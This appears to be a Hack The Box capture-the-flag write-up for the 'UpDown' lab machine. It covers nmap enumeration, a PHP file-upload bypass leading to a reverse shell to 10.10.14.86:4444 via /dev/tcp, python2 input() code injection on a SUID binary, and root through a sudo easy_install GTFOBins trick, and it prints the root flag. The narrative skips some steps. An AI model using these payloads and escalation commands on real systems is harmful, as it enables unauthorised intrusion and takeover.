Hack The Box UpDown Writeup

As usual we start off with enumeration.
Nmap scan report for 10.10.11.177
Host is up, received reset ttl 63 (0.035s latency).
Scanned at 2024-05-10 12:30:12 CEST for 48s
Not shown: 65533 closed tcp ports (reset), 4 closed udp ports (port-unreach)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9e1f98d7c8ba61dbf149669d701702e7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDl7j17X/EWcm1MwzD7sKOFZyTUggWH1RRgwFbAK+B6R28x47OJjQW8VO4tCjTyvqKBzpgg7r98xNEykmvnMr0V9eUhg6zf04GfS/gudDF3Fbr3XnZOsrMmryChQdkMyZQK1HULbqRij1tdHaxbIGbG5CmIxbh69mMwBOlinQINCStytTvZq4btP5xSMd8pyzuZdqw3Z58ORSnJAorhBXAmVa9126OoLx7AzL0aO3lqgWjo/wwd3FmcYxAdOjKFbIRiZK/f7RJHty9P2WhhmZ6mZBSTAvIJ36Kb4Z0NuZ+ztfZCCDEw3z3bVXSVR/cp0Z0186gkZv8w8cp/ZHbtJB/nofzEBEeIK8gZqeFc/hwrySA6yBbSg0FYmXSvUuKgtjTgbZvgog66h+98XUgXheX1YPDcnUU66zcZbGsSM1aw1sMqB1vHhd2LGeY8UeQ1pr+lppDwMgce8DO141tj+ozjJouy19Tkc9BB46FNJ43Jl58CbLPdHUcWeMbjwauMrw0=
| 256 c21cfe1152e3d7e5f759186b68453f62 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKMJ3/md06ho+1RKACqh2T8urLkt1ST6yJ9EXEkuJh0UI/zFcIffzUOeiD2ZHphWyvRDIqm7ikVvNFmigSBUpXI=
| 256 5f6e12670a66e8e2b761bec4143ad38e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL1VZrZbtNuK2LKeBBzfz0gywG4oYxgPl+s5QENjani1
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Is my Website up ?
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=5/10%OT=22%CT=1%CU=53%PV=Y%DS=2%DC=T%G=Y%TM=663DF764%P
OS:=aarch64-unknown-linux-gnu)SEQ(SP=107%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53C
OS:ST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)
Uptime guess: 38.430 days (since Tue Apr 2 02:11:14 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap could reveal that we are running 2 ports 22 and 80. We can go ahead and enumerate services running on port 80.
I poked around trying numerous attempts but all to no avail.
The next step is to inspect the files in the folder we just dumped. If we're lucky we shall find something useful:
┌──(mrinspector㉿kali)-[~/HTB/UpDown]
└─$ ls
admin.php changelog.txt checker.php index.php stylesheet.css updownThe interesting file that caught the eye was the checker.php
if(DIRECTACCESS){
die("Access Denied");
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset='utf-8' />
<meta http-equiv="X-UA-Compatible" content="chrome=1" />
<link rel="stylesheet" type="text/css" media="screen" href="stylesheet.css">
<title>Is my Website up ? (beta version)</title>
</head>
<body>
<div id="header_wrap" class="outer">
<header class="inner">
<h1 id="project_title">Welcome,<br> Is My Website UP ?</h1>
<h2 id="project_tagline">In this version you are able to scan a list of websites !</h2>
</header>
</div>
<div id="main_content_wrap" class="outer">
<section id="main_content" class="inner">
<form method="post" enctype="multipart/form-data">
<label>List of websites to check:</label><br><br>
<input type="file" name="file" size="50">
<input name="check" type="submit" value="Check">
</form>
<?php
function isitup($url){
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, trim($url));
curl_setopt($ch, CURLOPT_USERAGENT, "siteisup.htb beta");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$f = curl_exec($ch);
$header = curl_getinfo($ch);
if($f AND $header['http_code'] == 200){
return array(true,$f);
}else{
return false;
}
curl_close($ch);
}
if($_POST['check']){
# File size must be less than 10kb.
if ($_FILES['file']['size'] > 10000) {
die("File too large!");
}
$file = $_FILES['file']['name'];
# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
die("Extension not allowed!");
}
# Create directory to upload our file.
$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)){
mkdir($dir, 0770, true);
}
# Upload the file.
$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
# Read the uploaded file.
$websites = explode("\n",file_get_contents($final_path));
foreach($websites as $site){
$site=trim($site);
if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
$check=isitup($site);
if($check){
echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
}else{
echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
}
}else{
echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
}
}
# Delete the uploaded file.
@unlink($final_path);
}
function getExtension($file) {
$extension = strrpos($file,".");
return ($extension===false) ? "" : substr($file,$extension+1);
}
?>
</section>
</div>
<div id="footer_wrap" class="outer">
<footer class="inner">
<p class="copyright">siteisup.htb (beta)</p><br>
<a class="changelog" href="changelog.txt">changelog.txt</a><br>
</footer>
</div>
</body>
</html>I found an interesting header. We can use burpsuite to check if it exists and from I could tell from the git log we saw in the comments where an admin panel was built and running on vhost.
I tested loading up the domain dev.updown.htb but i was facing complications due an incorrect dns configuration. The correct dns was supposed to be siteisup from the very beginning. After fixing it we got a 403 Forbidden page.
Modifying gave us a page using burpsuite
┌──(mrinspector㉿kali)-[~/HTB/UpDown]
└─$ echo "<?php phpinfo(); ?>" >> test.php
┌──(mrinspector㉿kali)-[~/HTB/UpDown]
└─$ zip test.arch test.php
adding: test.php (stored 0%)
On running the script we see functions that can be used.
$shell = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.86/4444 0>&1'";
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
In this peace of code we can create our $shell variable in which we shall pass in our shell code. I had a hard time executing it like that until i made it into a one liner that is when i got a reverse shell using the traversal trick.
Privilege Escalation
Snooping around in the var folders gave us nothing. I then searched the developer home for any clues and in the dev folder we had an SEUID and a python script.
www-data@updown:/home/developer$ ls -asl dev/
total 32
4 drwxr-x--- 2 developer www-data 4096 Jun 22 2022 .
4 drwxr-xr-x 6 developer developer 4096 Aug 30 2022 ..
20 -rwsr-x--- 1 developer www-data 16928 Jun 22 2022 siteisup
4 -rwxr-x--- 1 developer www-data 154 Jun 22 2022 siteisup_test.pyThe fact that we have SUID on the executable means it will run as the user who owns it in this case developer.
www-data@updown:/home/developer/dev$ cat siteisup_test.py
import requests
url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
print "Website is up"
else:Looking at the code we can tell two things it is python2 and the input function is prone to code injection. We can test this by:
www-data@updown:/home/developer$ python dev/siteisup_test.py
Enter URL here:__import__('os').system('id')
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Traceback (most recent call last):
And running this on the executable with set UID we get a different result where uid is developer. We shall call the bash from the developer user by inputing this line of:
__import__('os').system('bash')And boom:
www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application
Enter URL here:__import__('os').system('bash')
developer@updown:/home/developer/dev$ We could not grab the user flag since we were only the user id but not in the developer group.The next step was to login over ssh. I had trouble with my kali box connecting and ended up using my Mac for this.
➜ ~ ssh -i key.updown developer@10.10.11.177
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-122-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon May 13 15:05:54 UTC 2024
System load: 0.0
Usage of /: 49.9% of 2.84GB
Memory usage: 15%
Swap usage: 0%
Processes: 218
Users logged in: 1
IPv4 address for eth0: 10.10.11.177
IPv6 address for eth0: dead:beef::250:56ff:feb9:709b
8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon May 13 14:53:53 2024 from 10.10.14.86
developer@updown:~$ id
uid=1002(developer) gid=1002(developer) groups=1002(developer)
developer@updown:~$ cat user.txt
822c54a*************************Now that we have the user flag it was time to go ahead and escalate our privileges.
developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User developer may run the following commands on localhost:
(ALL) NOPASSWD: /usr/local/bin/easy_install
developer@updown:~$We can run a script with sudo.
developer@updown:~$ cat /usr/local/bin/easy_install
#!/usr/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from setuptools.command.easy_install import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())Taking a look at GTFOBINS we found an execution code we could run to have root privileges:
developer@updown:~$ TF=$(mktemp -d)
developer@updown:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:~$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.5Aa29tMhhL
Writing /tmp/tmp.5Aa29tMhhL/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.5Aa29tMhhL/egg-dist-tmp-5qk3wp
# cd /root
# cat root.txt
603ac0518a6b762fa5d7f21cc8cc1793